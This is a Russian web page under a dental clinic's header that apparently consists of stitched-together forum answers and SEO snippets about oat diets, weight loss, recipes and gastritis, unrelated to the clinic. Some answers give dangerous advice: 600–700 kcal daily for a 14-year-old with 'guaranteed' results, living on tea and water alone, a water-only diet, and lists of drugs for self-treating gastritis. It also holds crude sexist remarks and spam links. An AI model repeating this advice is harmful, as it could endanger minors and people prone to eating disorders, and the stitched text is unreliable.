Кафедра челюстно лицевой хирургии и стоматологии СамГМУ

ОАО "Поволжский Специализированный Реабилитационный Стоматологический Центр"
Терапия Ортопедия Пародонтология Хирургия Ортодонтия Имплантология Эстетическая хирургия ЧЛХ
  ?>
О компании
Услуги
Прайс
Наши разработки
Наш коллектив
Бесплатная
   консультация

Скиньте пожалуйста меню овсяной диеты:) .

Маленькая еще худеть!

Меню овсяной диеты на завтрак, обед, полдник и ужин порция овсяной каши. В перерывах разрешены фрукты.

Ингредиенты:
Пачка (200г) обезжиренного творога
1 яйцо
1 стол ложка геркулеса (можно смолоть в кофемолке, но не обязательно)
1 стол. ложка протеина (у меня был Вейдер со вкусом фисташки)
щепотка соли
1/4 чайной ложки разрыхлителя (можно без него).
В качестве наполнителя можно взять горсть изюма, мелко порезанный банан, яблоко, грушу.
Творог размять вилкой, добавить остальные ингредиенты, хорошо размешать.
Форму смазать растительным маслом (чисто символически), выложить в нее массу, накрыть крышкой (без крышки будет суховато). Запекать в микроволновке на максимальной мощности 6-7 минут, и еще 5 минут не открывать микроволновку. Выложить запеканку на тарелку и наслаждаться!
Получается 2 порции для "нормального" человека или 3-4 для нас. Вкусно и полезно!
Белковые Оладушки
Ингредиенты:
��Кефир 1% - 900г
��Яйцо куриное - 3шт
��Сахар, сах. зам, соль, корица и т. д. - по вкусу (я брала 1ч. л. сахара и немного стевии посыпала, соли 0.5ч. л.)
��Разрыхлитель - 0.5ч. л.
��Овсяные отруби - 16г
��Мука пшеничная - 250-300г
Инструкция:
��Яйца взбиваем с сахаром, солью, разрыхлителем и пряностями.
��Добавляем отруби. Перемешиваем.
��К получившейся смеси добавляем муку. Не вымеряйте граммами, это лучше на глаз. Кефир бывает разный, и консистенция теста также будет различаться. Должно быть в меру густое, упругое тесто.
��Оставляем тесто отдыхать минут на 10-15 или выпекаем сразу.
__________________
�� КБЖУ (без масла для жарки, 5г сахара, 270г муки в составе): Калорийность - 120кк;
Белки - 5г; Жиры - 2г; Углеводы - 18г;
Получается достаточно белково. Для тех, кто хочет снизить кол-во углеводов еще больше, можно добавить больше отрубей, меньше муки и весь сахар заменить стевией, например. Кол-во углеводов уйдет где-то до 15-16г
__________________
�� Можно покулинарить и добавить кучу интересностей: банан, изюм, корица, капельки шоколада, орешки...
ИТАК: Турецкий горох НУТ (покупаю на рынке) замочить на ночь в большом количестве воды с содой - 1 чайная ложка на литр воды. Это необходимо для устранения "музыкального" эффекта. утром тщательно промыть и поставить варить в холодной воде. Снимать пену, когда пена перестанет идти, слить, промыть и снова залить холодной водой. Варить 2-2.5 часа, в зависимости от сорта и размера. Горох должен быть мягким, но не развариться в кашу.
По готовности воду слить, немного оставить - может пригодиться.
Я обычно варю целый килограмм гороха, на хумус оставляю стакан, остальной делю на порции, расфасовываю по пакетам и замораживаю. Потом так же можно делать хумус или варить суп, добавлять в салаты.

Если я буду есть овсянку, овощи, фрукты и хлеб из отрубей могу ли я похудеть?

Если только будешь есть,не похудеешь. Двигаться надо,нагрузка сжигает жировые клетки.

Меню, продукты и исключения овсяной диеты. Овсяная диета по мнению многих диетологов, самая полезная из всех злаковых видов диет.

Модеры не дают ответить по существу))

Можешь, если кроме этого больше ничего, никакой колбасы. кефир, простоквашу, ряженку добавь. и не один день....

Информация к размышлению - корова есть ТОЛЬКО траву.. . И жиреет.
Дело-то не в продукте, а в его количестве.

Можешь, но есть всё это без масла, сахара и хлеба. Причём картошку исключить в любом виде. Овсянку можно заменить гречкой или перловкой. Сам похудел за полгода на 47 кг.

Да, только хлеб не нужно.
лучше сухари бездрожжей

Овсяная диета понравится любительницам экономить на еде.Меню овсяной диеты. Существует несколько вариантов диеты

Если только это и урезанные порции-то да

Кто знает?!! на какой диете Наталья Ветлицкая?

Вегет

Овсяная диета для похудения отличается простыми правилами, соблюдать которые сможетВ магазине можно найти еще и мюсли, хлебцы, овсяное печенье и т.п. Меню получится...

А что за овсяная диета?Такая же как гречневая,только овсяная?)

Http://www.dieta.ru/fastdiets/oatmealdiet/

Овсяная каша является основным компонентом данной системы питания. Меню диеты предполагает употребление одной порции овсянки приготовленной на воде на завтрак, обед...

Овсянка эфективней

Ешьте овсянку. Она как гречневая, только овсяная.

Эффективность овсяной диеты - минус 3-5 кг за неделю.
Завтрак, обед и ужин: небольшая тарелка овсяной каши.
Овсяную кашу можно залить не водой, а молоком, можно добавить мед, сухофруктов
Если хочется кушать, в перерывах между приемом каши - можно есть фрукты. Но не объедаться ими.
Преимущества овсяной диеты: нет чувства голода. Овсяную кашу водой не запивать! Прежде чем сесть на овсяную диету, обязательно посоветуйтесь с врачом.

Овсянка гораздо лучше гречки

Подскажите пожалуйста диету. От которой можно быстро похудеть?

Скачай книгу Ален Карр "Легкий способ похудеть" и все ок!!!

Овсяная диета - меню. Монодиеты бывают самые разные, хотя показаны они далеко не всем.Меню на неделю для овсяной диеты может быть примерно таким

Утром кекс, вечером секс, если не помогает, кексы убрать!!!

Всякая диета ерунда. просто постепенно уменьшайте порцию еды

За неделю можно потерять 5 кг. Внимание! Если Ваш желудок плохо воспринимает молочные продукты, то эта диета вам не подходит.
Эта диета называется белой, так как она основана на молочных и кисломолочных продуктах.
Обязательно! ПРИ ПОКУПКЕ МОЛОЧНЫХ ПРОДУКТОВ ОБРАТИТЕ ВНИМАНИЕ НА ЖИРНОСТЬ! Оптимально – не больше 4 % жира на 100 грамм!
Еще одно правило: НЕЛЬЗЯ КИСЛЫЕ ФРУКТЫ! . Можно: яблоко, банан, груша, персик, можно горсть чернослива или изюма.
Перед любой едой желательно выпивать стакан негазированной минеральной воды.
ЗАВТРАК:
1 йогурт не более 4% жирности - 125г (1 шт. )
1 фрукт
Чай с мёдом (20г, в одной чайной ложке 5 грамм) . или Кофе с молоком
ПОЛДНИК:
Каша (лучше овсяная, можно другой злак, кроме пшеницы: пшеничку и манку нельзя) на воде или обезжиренном молоке – 100 гр
Нежирный творог - 125г
Стакан обезжиренного молока
ОБЕД:
Отварное яйцо - 1 шт. (55г)
Салат (огурцы, помидоры) , заправить нежирным йогуртом
ИЛИ вместо салата – творог 100г с фруктами
Стакан ряженки или кефира
УЖИН:
1 фрукт
1 несладкий йогурт не более 4 жирности - 125г
На такой диете можно провести от 3 до 7 дней

Про кекс и секс мне понравилось. На ус намотаю: -)

Мой рост 1.55 а вешу 55 кг а хочу 43 как мне похудеть подскажите ?

Ну и дурацкий вопрос твой! Мужчинам нраваятся больше женщины "в теле" а не дистрофики и скелеты! ! Мы смотрим рефлексорно на бёдра: сильная самка или нет ;а если 2 кости вместо бёдер??.. Cм. на проституток-среди них худосочных нет!

Овсяная диета советы, меню, отзывы и другая полезная информация о диете - До 1 недели - До 4 кг в неделю - Овсяная диета для похудения - Леди Mail.Ru.

Диета Дюкана
Правила диеты:
1. В день следует выпивать не менее 1,5 л воды
2. Нужно включи в рацион овсяные отруби
3. Важно вести активный образ жизни, ежедневно выполняя прогулки на свежем воздухе
4. Под запретом выпечка, сахар, сладости, фастфуд
5. Питаться необходимо пять раз в день: завтрак, ланч, обед, полдник и ужин.
Первый этап диеты Дюкана длится от 3 до 10 дней, в зависимости от того, сколько необходимо сбросить. При лишнем весе до 10 кг достаточно трех дней, 10–20 кг — от 3 до 5 дней, а при лишнем весе более 30 кг «Атаку» следует проводить 5–10 дней. На первом этапе допускаются морепродукты, мясо птиц, говядина, рыба, яйца, ветчина и обезжиренные молочные продукты. Добавлять в блюда можно лимоны, маринованные огурцы, соль, уксус, чеснок.
Второй этап диеты — чередование белковых продуктов и овощей. В рацион следует добавить капусту, огурцы, шпинат, помидоры, сельдерей, болгарский перец, кабачки, баклажаны, спаржу. Под запретом картофель, авокадо, чечевица и бобы. На втором этапе диеты Дюкана чередуй белковые и белково-овощные каждый день, три или каждые пять дней.
Длительность третьего этапа зависит от достигнутого результата. Таким образом, каждый потерянный килограмм следует закреплять 10 дней. Кроме того, в список разрешенных продуктов добавляются хлеб, макаронные изделия, картофель, фрукты (кроме бананов, винограда) , рис. Один раз в неделю нужно есть только белковую пищу. Каждый день необходимо съедать 3 столовых ложки овсяных отрубей.
Четвертый этап диеты Дюкана практически лишен каких-либо ограничений, однако диетолог все же советует один день в неделю посвящать исключительно белковой пище и продолжать употреблять овсяные отруби.
Примерное меню диеты Дюкана:
1 этап
Завтрак: 2–3 вареных яйца (например, омлет с молоком и зеленью) , ломтик ветчины или малосольной рыбы, кофе или чай.
Второй завтрак:
 йогурт и отруби (или творог) .
Обед: отварное постное мясо (или запеченная рыба c соком лимона, или курица с чесноком) ;
Полдник: отварные кальмары или креветки со специями.
Ужин: отварное мясо (или баранина, кролик) или рыба-гриль, кефир
2 этап
Завтрак: — омлет с томатами, болгарским перцем, зеленью; — кабачковые оладьи; — творог; — кофе с молоком.
Второй завтрак: яйца (не жареные) .
Обед: отварная рыба (или курица) , салат из стручковой фасоли, яйца, болгарского перца и рыбной консервы, заправленные йогуртом, посыпанные перцем.
Полдник: отварная куриная грудка, овощной салат, заправленный соком лимона, зеленый чай.
Ужин: овощи гриль (томаты, кабачок, баклажаны) или тушеная капуста, отварное мясо (или рыба) , кефир.
3 этап — Закрепление
Завтрак: сырники с ванилью (или корицей) со сметаной, кофе, чай.
Второй завтрак: фрукты, йогурт.
Обед: паровые куриные котлеты, салат из овощей.
Полдник: сыр с хлебцом (или творог со сметаной) .
Ужин: креветки (или другие морепродукты) с рисом.

29?? Вам срочно надо бежать к психологу!)

Я ходила на спа процедуры, благодаря этому и похудела. Кроме того кожа подтянулась, стала гладкой, нежной. А о самочувствии и говорить нечего!! ! Я очень довольна эффектом, потому что не верила и думала, что это пустые обещания. Впрочем, почитайте и выберете, что Вам больше всего подходит http://thaisparelax.ru/spa-menyu .

Норма для роста 47 кило. если вы не ребенок. питание правильное вам поможет. котлеты пельмени жареное копченое супы -все в помойку! и никаких бутербродов. только раздельное питание!

При 29 вы будите анарексичкой а вот при 49 вполне нормально будет подходить вашему росту. ведите здоровый образ жизни и правильно питайтесь также можете посидеть на нескольких хороших диетах.

Овсяная диета - подробное описание и полезные советы. Отзывы об овсяной диете и примеры рецептов. 05.09.2012 00 12.

Все говорят о пользе овсяной каши, в том числе для похудения, но ведь там калорий дофига!

Вопрос в том, с чем вы эти хлопья будете употреблять.

Овсяная диета за время своего существования обрела множество разновидностей.Меню этих дней будет таким же, как и при соблюдении диеты. Нужно понимать, что данная монодиета...

88 калорий разве много? (на воде)
ps:Диетологи рекомендуют овсяную кашу при заболеваниях печени, атеросклерозе, диабете. Но все же главная ценность овса – его исключительная полезность для желудка и кишечника. Овсяная каша как бы обволакивает желудок пленкой, облегчающей пищеварение. Зерна овса, даже измельченные в хлопья, действуют как очиститель кишечника, удаляя из него весь «мусор» . Слизистые овсяные отвары обязательно входят в меню строгих диет при язвенной болезни желудка и двенадцатиперстной кишки.

Если варить её на воде, без молока и сахара и кушать без масла, так будет только на пользу

Все правильно купила! каши такие полезные тем, что у них низкий гликемический индекс (чем он ниже, тем продукт ПОЛЕЗНЕЕ и помогает худеть) , сахар усваивается медленнооо, это не повышает его уровень в крови) и на завтрак это саме оно) если есть ночью конечно поправишся) а кроме того в овсянке много др. полезных качествы, например очищает кишечник

Овсянка хорошая тем, что она улучшает обмен веществ, а ведь давно всем известно, что полнеют люди как правило из-за плохого обмена, также овсянка содержит клетчатку, что способствует очищению кишечника. И варить ее лучше на молоке, она так лучше усваивается

Если на воде и без масла, то нормально. Лучше всего при диете кушать много овощных салатов с добавлением оливкового масла и только. Исключить рис, картофель, все из белого хлеба, все дрожжевое, бананы, виноград, сладкое. Пить много воды обязательно!

Овсяная диета является одной из распростран нных диет.Кушала я овсянку в течении 7 дней. Меню в таком случае очень простое - только овсяная...

..а нужно-то всего на завтрак пара ст. ложек, а не 100г..

Если я вместо завтрака съем 2 зефирки это повлияет на мою фигуру? или лучше не есть при похудении?

На завтрак можно, но лучше конечно, овсянку или творог

Меню этой диеты чрезвычайно просто, допускает употребление овсяной каши и фруктов. Просто ешьте небольшую порцию овсянки на завтрак, обед, ланч и ужин...

Лучше не есть, но если очень хочется то съешь

Не повлияет. Съешь.

На диете можно из сладкого зефир, пастилу, мармелад и всё)

Скушай пять зефирок и будь счастлива!)

Оказывается ты ничего не смыслишь в питании

Овсяная диета гарантированно позволяет похудеть на 3-6 кг веса за срок от 7 до 10 дней.Геркулесовая диета меню, отзывы похудевших. 30.08.2011.

Что значит вместо завтрака? Ты именно на завтрак съешь два калорийных кондитерских изделия. То, что там не одна ложка сахара, я тебе гарантирую.

Если уж очень охота зефирку, то лучше не вместо остального, а ВМЕСТЕ! Например, с овсяной кашей или творогом. Или зефирку сделать вторым завтраком, съев её с несладким чаем или кофе.
Худеть ты в любом случае будешь, если дневное меню будет состоять из полезных продуктов и по калорийности не превышать энергозатраты.

Можете хоть полкило - не потолстеете. что съедено на завтрак не откладывается, а тратится в течении дня. вот после 17 лучше ничего не есть

Если будешь есть зефир поправишься наоборот . Лучше яблок поешь

Как питаться на 200 рублей в день подскажите рецепты для 1 девушки

Зачем так себя насиловать? В чем причина?

Chudo-Dieta.com. Главная. Диеты.Меню овсяной диеты. Завтраки отваренная на воде или с добавлением молока порция овсянки, в которую можно добавить горсть свежих или...

Могу подсказать как питаться на 50 рублей в день, батон хлеба, майонез и доширак

Кашки, салатики...

Шаверму покупай да и все тут или Ролтон.

На 200р полкурицы+вермешель

Лучше суп пусть приготовит на неделю если уж так с деньгами туго

Чем полезная овсяная диета для похудения рассказывает диетолог. Кроме ее мнения приведены также отзывы читателей.

У меня на работе меню- 108 руб в день на человека, 5-разовое питание. могу дать координаты этих чудо-поваров, которые умудряются вложиться в эт сумму....

Лучше взять 1400 - и сразу распланировать целую неделю

Одно дело купить кило макарон, другое - пожрать в кафе или заказать пиццу.
Еду ОБЫЧНУЮ готовь, тогда уложишься.

Овсяные хлопья и на что останется, менять иногда рацион. Скоро лето! На полях и в садах урожай будет.

Сварите суп из куриных зап. частей, хватит на 2 дня, картошки отварите, плюс салат из огурца и помидора... йогурт купите, булочку (если не на диете) чаек с лимоном....

Овсяная каша насыщенна полезными элементами это блюдо можно и нужно включать в меню разноплановых диет.

Йогурт, бутерброд с сыром, кусочек курицы с овощами (крупами), творог.

Каши, яйца, молоко, овощи, супчик - легко влезите в эту сумму...

Курочку сварить, потушить к ней рис, картошечка, овощные салатики, Рыку запечь и самой каких-нибудь плюшек -ватрушек напечь Бюджет не такой уж и слабый, но надо будет делать самой и по максимуму. Хорошие рецепты на сайте biistro.ru и мир дому

Я вот тут на работу устроился по 14ч с 3х разовым питанием когда дома на выходном сплю и пью чай, Э-экономия)))

Диета для подростка (14 лет)

Жри меньше, и всё. Это самая правильная диета для любого возраста. Можешь не возражать - толстеют только от того, что жрут как свиньи. Хотя сами так не считают, конечно.

Как легко похудеть на овсяной диете меню и отзывы. Любая диета представляет собой правильное потребление пищи. Существуют не только диеты...

Скакалка, поднимать ноги, скакалка, поднимать ноги. Вычислить нужное кол-во калорий, чтобы меньше получать и больше тратить.

А жрёшь много? питатся тоже надо правильно

За несколько недель у тебя это не выйдет, на диете без вреда. Садись на правильное питание и вреда не будет. Но если надо срочно похудеть, то сядь на питьевую и намного быстрее скинешь (только выход правильный сделай и норм будет).

Диеты для подростков 12-13-14-15 лет
Эти варианты подростковой диеты лучше всего чередовать. То есть, 1-й день - первый вариант, 2-й день - второй вариант и так далее.
Благодаря этому, Ваш растущий организм будет получать все необходимые микроэлементы и витамины.
На возникающие вопросы по меню подростковых диет мы постараемся максимально быстро отвечать в обсуждении внизу этой страницы.
1 вариант
Первый завтрак: гречневая каша (100 г) и филе курицы или индюка (150 г), несладкий чай.
Второй завтрак: стакан молока.
Обед: густой овощной суп с зеленым горошком, тост с маслом (20 г) и сыром (50 г), 1 яйцо.
Полдник: йогурт, яблоко.
Ужин: одна запеченная картофелина с зеленью, помидором и сладким перцем.
2 вариант
Первый завтрак: молочная рисовая или овсяная каша (150 г), чай.
Второй завтрак: йогурт и яблоко.
Обед: маленькая тарелка постного красного борща, вареная куриная грудинка (150 г).
Полдник: стакан нежирного кефира.
Ужин: отварные овощи, стакан молока.
3 вариант
Первый завтрак: спагетти из твердых сортов пшеницы (150 г) с ложечкой оливкового масла, помидор.
Второй завтрак: стакан молока и тост с нежирным сыром.
Обед: винегрет (200 г) с постным мясом (150 г), томатный сок.
Полдник: любые орехи, но не более 40 г.
Ужин: запеченая рыба с овощным салатом.
4 вариант
Первый завтрак: 2 яйца всмятку, тост с маслом, сок.
Второй завтрак: банан.
Обед: отварная говядина или телятина (200 г), салат из свежих овощей с лимонным соком и ложечкой оливкового масла. Компот из сухофруктов.
Полдник: фрукты ( 2 киви, 3 мандарина, 1 апельсин - на выбор).
Ужин: 150 г творога с ложкой меда, стакан молока.
5 вариант
Первый завтрак: тарелка рисового супа с фрикадельками, кусочек черного хлеба, посыпанного зеленью.
Второй завтрак: сок и тост с нежирной ветчиной.
Обед: порция курицы с тушеными овощами.
Полдник: яблоко.
Ужин: печеная картофелина, помидор, 50гр нежирного сыра.
Подростковая диета хорошо сбалансирована и не доставит Вам неприятностей.
Внимание!
1. Перед тем, как задать вопрос по подростковым диетам, просмотрите, пожалуйста, все комментарии. Возможно, такой вопрос уже задавался.
2. На вопросы от Анонимов - не отвечаю (так как не знаю, как к Вам обращаться)!!!
3. Все ответы носят только рекомендательный характер.
4. Сразу отвечаю на самый популярный вопрос: "У меня толстые: живот, талия, бедра и т. д. " - при похудении вес сбрасывается со всего тела, а подкорректировать проблемную зону можно упражнениями:
Упражнения для бедер
Упражнения для плоского живота
Упражнения для талии

Вообще видела одну интересную статью, где задавали похожий вопрос.
На первую неделю в рацион включаете салаты, свежевыжатые соки, каши. Лучший режим пищи: 2-3 раза в день, перекусы должны быть витаминизированными: овощи/фрукты/мюсли. В течении всей недели уменьшиваете углеводы, желательно не отклоняться и от спорта тоже.
В итоге, за 3 недели такого графика уменьшиться вес приблизительно на 2-3 кг, но если нагрузок будет больше - то и результат соответственно будет выше :)
Удачи Вам!

Овсяная диета. Овес - продукт, обладающий множеством полезных свойств.Меню овсяной диеты. Завтрак, обед и ужин состоит только из порции овсяной каши.

Дробное питание 5 -6 раз в день. Углеводы исключить: конфеты, булки, торты, сахар. Чай пить с медом без сахара. Утром каши, больше овощей. Хорошая геркулесовая каша. Огурцы, пекинский салат, помидоры, арбуз, зелёные яблоки, суп. Бе больше 200 грамм за приём. Последний приём пищи за час до сна. Когда не ешь после 18, у организма стресс и он откладывает жиры, лучше вечером фрукты, но не бананы

Я тоже в 14 лет страдала лишним весом. Я много ела. И мало двигалась. Это были две мои главные проблемы. Мой рост был 152, а вес 59. Потом начала ходить на фитнес ежедневно (либо зал, либо групповое занятие - степ). Из рациона мне пришлось полностью исключить сладости, печеное есть я могла только утром (один бутерброд с сыром плавленным), а обед разные блюда, основанные на диете Дюкана.
Все виды блюд и разнообразное меню Вы можете найти здесь) http://www.mydukan.ru
А вообще в Интернете множество сайтов по диете Дюкан. Преимущество этой диеты в том, что практически не нужно отказываться от многих продуктов + меню очень разнообразное, полезное и вкусное. Попробуйте;). Успехов Вам!!!

Лучшая диета это понизить количество потребляемых калорий в сутки. То есть в твоем возрасте норма 900-1000 ккал., тебе нужно снизить вес соответственно снижаешь и потребление калорий в зависимости какой результат хочешь получить, я бы порекомендовал от 600 до 700 калорий, но также нужно соблюдать баланс питательных веществ (белков, углеводов, жиров) попробуй такую пропорцию 70% 20% 10% от потребляемых калорий. Советую отказаться от сладкого, мучной продукции, жареного, соленого, копченого, вяленого. Ешь продукты натуральными вареными, печеными но без соли и сахара вообще. Результат гарантирован 100%!!!

Нюр.
Тебе четырнадцать. Ты сейчас как раз из девочки превращаешься в девушку.
У тебя сейчас и так будет не пойми что в организме. Может, не надо еще и диетой насиловать себя?
Тем более восемь-двенадцать килограмм за несколько недель. Это диетолог современный радостно взвизгнет от такой цифры. А эндокринолог, врач - он в ужас придет. Двенадцать килограмм - это не на месяц задача. Это полгода-год.
Я сам жирноват. Столкнулся с диетой, правда, не для похудения. а по рекомендации врача, для профилактики подагры.
И скажу тебе так - если говорят "на завтрак ешь пятьдесят грамм пророщенного зерна и две столовые ложи... " - отбеги подальше, закрой уши и не слушай ни за что. Оставь это взрослым сформировавшимся тетям.
Не диета тебе нужна, а правильное питание.
Мяса - поменьше.
Овощи, фрукты, зелень - побольше.
Пельмешки, колбаски, консервы, прочие полуфабрикаты - забыли совсем.
Газировка, чипсы, все такое - туда же.
Пироженки и тортики - туда же. ну изредка можно, пару раз в месяц, чтобы не забыть, как они выглядят.
Ну и спорт- у тебя с этим все в порядке.
Все. Просто, скучно и неинтересно. Можешь сказать "да ну, это все знаю, это никому не помогает"...
Я тоже так думал, пока не попробовал. Помогло. Весил 97 кг, сейчас 84. И дальше не худею, потому что просто не хочу, я вот в этом весе себя хорошо чувствую.

Гастрит это и есть боль в желудке из-за неправильного питания? Если да, то как его стоит правильно лечить?

Гастрит-воспаление слизистой оболочки желудка – одно из часто встречаемых заболеваний человека. Примерно 80-90 % людей, на протяжении жизни, имели хотя бы один эпизод этого недуга. В пожилом возрасте до 70-90% людей страдают различными формами гастритов. Хроническая форма гастрита может трансформироваться в язвенную болезнь, рак желудка.
Врач сам пропишит вам лекарства типа:
Детоксицирующие (антидоты) – активированный уголь, смекта, специфические антидоты;
Антациды (адсорбенты) – активированный уголь, квасцы (алмазилат, алюминия фосфат, висмута субнитрат, висмута трикалия дицитрат), гидроталцит, диосмектит, сукральфат.
Антисептики и дезинфицирующие (висмута субнитрат)
Противодиарейные (диосмектит)
Тетрациклины (доксициклин)
Антигистаминные (Н2 подтип) – фамотидин, циметидин.
А питаться нужно будет только вареными продуктами или на пару.
Нельзя:
жареное, колбасы, кофе, алкоголь.

Меню овсяной диеты для похудения.Овсяная диета меню на 1 день. Завтрак каша. Для ее приготовления используется 0.5 стакана овсяных хлопьев.

Первый признак гастрита, это изжога. Боли уже на язву намекают. Как лечить, это уже к врачу, самолечение чревато прободением язвы. Питаться диетически - куриные грудки на пару без соли, ничего перченого, жареного, о сладостях так же забыть. Не курить, не пить алкоголь.
Когда изучала диетическое меню для гастритиков, то поняла - от язвы не успею помереть, сдохну с голоду. Договорилась с желудком, что пару дней в неделю питаюсь супчиком на куриной грудке, эту же грудку чуть приправляю солью, обжариваю и с овощным салатом с капелькой масла на ужин. Постоянно так питаться не могу, т. к. аппетит есть только от запахов, от хрустящей корочки, от острых приправ. Почти не ем шоколад. Сложнее всего было отказаться от кофе, но это бомба, маленькая чашка утром и день испорчен.

Всё от питания или от нервов. Так что, овсяный кисель и никаких волнений..

Овсянка обволакивает стенки желудка и снимает воспаление а гастрит может появиться даже банально переели у вас выработалось изза переедания больше желудочного сока - потом вы меньше как обычно покушали и лишний желудочный сок щекочит ваше горло изжогой и начинает кушать ваши стенки жулудка от чего воспаление- гастрит

Все вам ТАТ правильно советуют. Мне пришлось перейти на диету № 5. Запрещены любые приправы, кроме лаврового листа. Нельзя есть соленое, копченое, консервы, крепкий чай, кофе, лук, чеснок, помидоры, мороженое. Можно куриные и овощные бульоны. Мне стало чуть получше спустя 2 года.

А визит к врачу-терапевту не входит в ваши планы?
Тогда- чтобы снять воспалительный процесс- диета №1...ну а дальше зависит от того, какая реакция желудочного сока у вас. Придется исключить жирное, жареное, острое, кислое, копчености, консервы, ограничить свежие фрукты. Я, к примеру, не могу есть яблоки при своем гастрите, капусту в вареном, тушеном виде,.

Овсяная диета для похудения на самом деле выполняет более масштабную миссию.Примерное меню овсяной диеты. Завтрак каша из цельных зерен овса с добавлением гречки...

Диетой. Стол №1. Гастрит и язва.
За неделю не полегчает - к врачу.

Гастриты бывают по разным причинам, и не всегда от неправильного питания. Без визита к гастроэнтерологоу и без анализов, Вам не обойтись

Да. неправильно питание может являться одной из причиной гастрита. если интересует. я могу по-подробнее написать. что можно и нельзя. только в лс. а то здесь не поместиться....

Что ни хватает в этом меню на весь день? Дополните жду ваших советов

Т. е., насколько я понимаю, соль содержит только сыр? а в остальном это - бессолевая диета? я бы не стала сидеть на такой. это вредно очень. надо писать "грецкие орехи", "овощное пюре", "брокколи"))))

Овсяная диета заключает в себя все приемы сочетания продуктов состоящие только из овсянки.Это обилие вариантов примерного меню диеты на овсянке помогут вам подобрать ваш тип...

Немного вина -лекарство, много -смертельный яд ( Абу Али ибн Сина )

АППЕТИТА !

Не хватает отдыха для желудка! тот же сыр переваривается 3-4ч

100 лет собралась жить? От твоего меню в моё входит 3%,а проживём+-10 лет. Ни о чём! Зато ем что хочу. И не говори, что от такого меню, ты тащишься.

А свежего сыра полкило? многовато

Поэтому диетологи предлагают разные меню и рецепты овсяной диеты. Овсяная диета для похудения меню.

Не хватает времени. есть и пить каждый час - это просто кошмар какой то. так нельзя

Времени, свободного от еды, убери две трети приёмов пищи....

Супчика совсем нет хотя бы овощного

Утром 400гр воды

У вас вместо нормальной еды одни перекусы и вода пьется за 30 мин до еды

Примерное меню овсяно-фруктовой диеты. Этот способ похудения понравится сладкоежкам, так как в меню овсяной диеты входят свежие и сушеные фрукты.

Мяса. рыбы не хватает.. не пойму на фига есть аж до полуночи практически

Смогу ли я похудеть если буду следовать такому рациону?

Легко

Непременно скажем о том, что овсяная диета имеет огромное количество пользы.Кроме того, если четко соблюдать меню овсяной диеты в неделю можно терять до пяти килограмм, что...

Нет. питаться нужно чаще, но порциями с ладонь. ;)

Теоретически сможешь, но практически нет, потому что недолго "просидишь "

Вообще рацион довольно бедноватый. Надо рыбу попробовать добавить и другие продукты. Разнообразное меню - залог соблюдения диеты. Иногда на диете можно реально питаться вкуснее, чем при обычном образе жизни.

Утром - стакан воды или разбавленного (1:1) водой сока. Через 15-20 минут - размоченный с ночи чернослив или инжир (4-8 шт.).
Завтрак: тертая морковь (100 г) с кефиром или простоквашей (150 г), немного каши - 100 г (гречневой, овсяной) или 1-2 хрустящих хлебца.
Через 2 ч отвар шиповника, мяты, зверобоя или других трав с ложкой меда.
Обед: салат из тертой моркови и капусты (150 г), овощной суп (150 г), овощи, тушенные на молоке, или картофельное пюре (150—200 г).
Ужин: 1-2 яблока, стакан простокваши. В перерывах между едой дополнительно съесть еще 3 яблока.

Да, все грамотно

Овсяная диета пользуется немалой популярностью именно из-за того, что ее эффективностьВарианты дневного меню. Вариант 1. Завтрак овсяная каша 0,5 стакана овсяных хлопьев .

Что вы готовите дома ежедневно?

Омлет))

Овсяная диета - эффективный метод для похудения. Меню на неделю и рецепты для снижения веса из овсяных хлопьев. Польза и противопоказания овсянки.

Чаек

Борщ, часто

Кофе)

Кашу

Завтрак и ужин!

Фруктово-овсяная диета, в отличие от строгой монодиеты, не так строга и позволяет включать в меню свежие и сушеные фрукты, что особенно важно для сладкоежек.

Бисквит (пока что)

Суп, чай, кофе, мясо... Семья большая

Суп, каша, кофе))

Кофе.

Ребенку смесь, мужу борщ, мясо и т. п

Меню овсяной диеты. Вариантов английской диеты существует немало. Мы познакомим тебя с самыми эффективными ее видами. Овсяная диета на 1 месяц.

Кофе.

Салаты. Ежедневно. А то и по 2 раза в день!

Овсянку

Одно и то же ежедневно ни когда не готовлю, всегда что то разное. Сегодня вот например на завтрак была молочная каша, бутерброды, кофе с молоком. На обед борщ, жаренная рыба, картошка пюре, салат, кисель. На ужин ленивые голубцы, а завтра уже будет другое меню. Готовлю всё только на раз. Люблю только свежую пищу.

Завариваю чай... остальное может и не быть - на диете...

Меню овсяной диеты. Вс происходит в два этапа первый это очищение организма, а второй похудение. Первая стадия очищение.

Ежедневно готовлю завтрак кофе и бутеры

Готовлю мясо, плов и пр
рыбу и уху,
по выходным лобио и куру в духовке
вместе лепим вареники, изредка - пельмени
жена варит борщи. супчики, кашки и макароны, печёт блины,
хотя и я это могу, но у меня работы много

Завтрак: молочный коктейль с овсянкой и клетчаткой.
ингредиенты: овсяные хлопья- 3 ст. л (заливаю кипятком и жду, пока набухнет около 30 мин)
финики- 2 шт (можно заменить медом)
банан- 1/2 ( если есть)
молоко- 300 мл
клетчатка и льняное семя- 3 ст. л и 1 ст. л.
все помещаю в стакан для блендера и взбиваю. сытный и полезный завтрак готов.

Мидии со шпинатом под пикантным соусом, а также салат с куриными пупками и яйцом пашот.

Чай каждое утро обязательно. Творог ежедневно. И салаты.

Неудивительно, что овсяная диета отзывы имеет самые положительные.Примерное меню овсяной диеты щадящего типа

Кофе

Как похудеть на 5-7 кг?

Бег кстати полезная штука, ибо всегда первым делом худеют ноги, а потом уже и остальное. Адекватная диета + фитнес.

Повесим себе плакатик Овсяная диета меню мечты! и, на этом фоне, сдержанно, как истые англичане, распростимся с 4-6 кг.

Бегать, потеть и кушать правильно, а не всякую белиберду

Отказаться от мяса и рыбы.

Вообще без вреда для организма это можно сделать только с помощью пп и спорта, лично я для себя нашла идеальную диету, кг4-5 точно за неделю уйдет, но она жесткая, и если у тебя гастрит, то могут быть проблемы, если не боишься, попробуй-диета "любимая".

Убрать из меню соль, сахар, хлеб, картошку, сливочное масло, колбасные изделия

Тогда с прыгом!)

Меню овсяной диеты на завтрак, обед, полдник и ужин порция овсяной каши. В перерывах разрешены фрукты.

Я отказалась от сладкого, мучного, жирного.
мясо только куриное, овощи, рыба, фрукты, греча, рис... иногда овсянка.
все запариваю... а не жарю.
молоко литрами пью, зеленый чай.
воды 1,5 литра в день.
стараюсь считать калории... обычно мне хватает 1000 в день.. .
и ем маленькими порциями каждые 2 часа.
но я спортом еще занимаюсь.. .
сбросила много, но не быстро... примерно через полгода.
а если хотите быстро и пофиг на организм... сидите только на чаях и воде.. .
обычно через 5 дней даже привыкаешь не есть.. .
но здоровью можете сразу сказать бай...)

Набросала себе меню на 5 дней. Оцените. Скажите, чего в меню не хватает?

Еды.

